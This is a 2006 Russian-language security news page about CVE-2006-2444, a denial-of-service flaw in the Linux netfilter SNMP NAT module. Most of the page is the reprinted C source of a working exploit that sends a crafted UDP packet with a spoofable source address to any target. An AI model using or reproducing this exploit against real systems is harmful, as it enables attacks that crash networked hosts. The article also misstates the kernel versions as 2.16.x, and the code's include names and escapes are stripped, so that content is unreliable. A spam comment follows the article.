Welcome to Энциклопедия сетевых протоколов
Поиск

Модули
· Титульная страница
· Мир протоколов
· Моя страница
· Основные темы
· Архив публикаций
· Парад популярности
· Поиск
· Приватная почта
· Каталог ссылок
· Написать нам
· Сообщить новость
· Рекомендовать сайт
· Участники
· Документы и программы

Выбор языка
Язык интерфейса:


Статистика
20436504
запросов с 22 сентября 2005

Внешняя статистика
Rambler's Top100

  
Уязвимость в ядре Linux
Опубликовано 08 июня 2006 (Чт.) в 16:32:10
Тема: Вопросы безопасности
На сайте Beyond Security 6 июня было опубликовано сообщение о наличии уязвимости в системе фильтрации пакетов netfilter ядра Linux (модуль ip_nat_snmp_basic). Обнаруженная уязвимость связана с некорректной работой с памятью и может приводить к возможности организации DoS-атаки против систем, на которых используется трансляция адресов для трафика SNMP через порты 161 и 162.
Уязвимость существует в ядрах Linux вплоть до 2.16.17. В ядре версии 2.16.18 данная уязвимость устранена.


Ниже приводится опубликованный в Internet код эксплойта для этой уязвимости.
/*
* ecl-nf-snmpwn.c - 30/05/06
*
* Alex Behar
* Yuri Gushin
*
* A patch review we did on the 2.6.16.17->18 Linux kernel source tree
revealed
* a restructuring of code in the snmp_parse_mangle() and the
snmp_trap_decode()
* functions. After further research it turned out to be a vulnerability
* previously reported[1] and assigned with CVE-2006-2444. For more
details,
* the version change log.
*
*
*
* 1) http://kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.16.18
*
* --
* Greets fly out to the ECL crew - Valentin Slavov, Dimityr Manevski.
* To stranger, shrink, the Console Pimps crew (blexim, ex0, hugin, w00f,
matt,
* kyu, kbd and the rest), our favorite soldier boy Sagi Horev, the SigMIL
crew,
* izik, tanin00, and everyone else we left out.
*
* P.S. - blexim, how are your FACECRABS ???? :))))
*
*/


#ifndef _BSD_SOURCE
#define _BSD_SOURCE
#endif
#include
#include
#include
#include

void banner();
void usage(char *);

char pwnage[] = "x30x0ax02x01x00x04x03x45x43x4cxa4x00";

int main(int argc, char **argv)
{
char errbuf[LIBNET_ERRBUF_SIZE];
libnet_t *l;
int c;
u_char *buf;
int packet_len = 0;
struct ip *IP;
struct udphdr *UDP;
u_int32_t src = 0, dst = 0;


banner();

if (argc < 3) usage(argv[0]);

if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) {
fprintf(stderr, "[!] libnet_init() failed: %s", errbuf);
exit(-1);
}

if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "[!] Unresolved source address.n");
exit(-1);
}
if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "[!] Unresolved destination address.n");
exit(-1);
}

if ((buf = malloc(IP_MAXPACKET)) == NULL) {
perror("malloc");
exit(-1);
}

UDP = (struct udphdr *)(buf + LIBNET_IPV4_H);

packet_len = LIBNET_IPV4_H + LIBNET_UDP_H + sizeof(pwnage) - 1;

srand(time(NULL));
IP = (struct ip *) buf;
IP->ip_v = 4; /* version 4 */
IP->ip_hl = 5; /* header length */
IP->ip_tos = 0; /* IP tos */
IP->ip_len = htons(packet_len); /* total length */
IP->ip_id = rand(); /* IP ID */
IP->ip_off = htons(0); /* fragmentation flags */
IP->ip_ttl = 64; /* time to live */
IP->ip_p = IPPROTO_UDP; /* transport protocol */
IP->ip_sum = 0;
IP->ip_src.s_addr = src;
IP->ip_dst.s_addr = dst;

UDP->uh_sport = rand();
UDP->uh_dport = (argc > 3) ? htons((u_short)atoi(argv[3])) : htons(161);
UDP->uh_ulen = htons(LIBNET_UDP_H + sizeof(pwnage) - 1);
UDP->uh_sum = 0;

memcpy(buf + LIBNET_IPV4_H + LIBNET_UDP_H, pwnage, sizeof(pwnage) - 1);

libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_UDP, packet_len -
LIBNET_IPV4_H);

if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1)
{
fprintf(stderr, "[!] Write error: %sn", libnet_geterror(l));
exit(-1);
}

printf("[+] Packet sent.n");

libnet_destroy(l);
free(buf);
return (0);
}

void usage(char *cmd)
{
printf("[!] Usage: %s [port]n", cmd);
exit(-1);
}

void banner()
{
printf("ttNetfilter NAT SNMP module DoS exploitn"
"tt Yuri Gushin n"
"tt Alex Behar n"
"ttt ECL Teamnnn");
}




Примечание: Информация CVE
CVE-2006-2444

 
Вход
Регистрационное имя

Пароль

[Восстановить пароль]

Если у Вас еще нет учетной записи, Вы можете зарегистрироваться.


Связанные ссылки
· Поиск в разделе Вопросы безопасности
· Статьи пользователя Николай Малых


Самая популярная статья раздела Вопросы безопасности:
Соответствия для правил iptables (часть 3)


Оценка статьи
Средняя оценка: 2.5
голос.: 2


Оцените эту публикацию:

Отлично
Очень хорошо
Хорошо
Приемлемо
Плохо


Параметры

 Вариант для печати Вариант для печати


"Вход" | Вход/регистрация | 1 комментарий | Поиск в дискуссии
Комментарии выражают мнение их авторов. Администрация сайта не несет никакой ответственности за достоверность представленных в комментариях посетителей сведений, а также за содержание таких комментариев.

Для публикации своих комментариев Вам нужно зарегистрироваться..

Re: Уязвимость в ядре Linux (Оценка: 1)
Автор: jessica01 (sedks1@gmail.com)
20 июля 2013 (Сб.) в 01:53:42
(Сведения об авторе | Отправить сообщение)
http://www.roawatches.net
You need adequate sleep We all have lots of work to do none of us can afford to be lazy, thanks to cut throat competition and rising inflation. Carbohydrate is initially eliminated and then slowly reintroduced over four distinct phases.


Copyright © Nikolai Malykh
Все права на опубликованные на сайте материалы принадлежат Nikolai Malykh, если в опубликованном на сайте документе явно не указано иное.
Не разрешается воспроизведение опубликованных на сайте документов без согласия правообладателя.

Hosted By Web Hosting by iPage

Copyright © 2005 by Nikolai Malykh
Based on PHP-Nuke by Francisco Burzi. This is free software, and you may redistribute it under the GPL. Author comes with absolutely no warranty.
Время генерации страницы: 0.11 сек.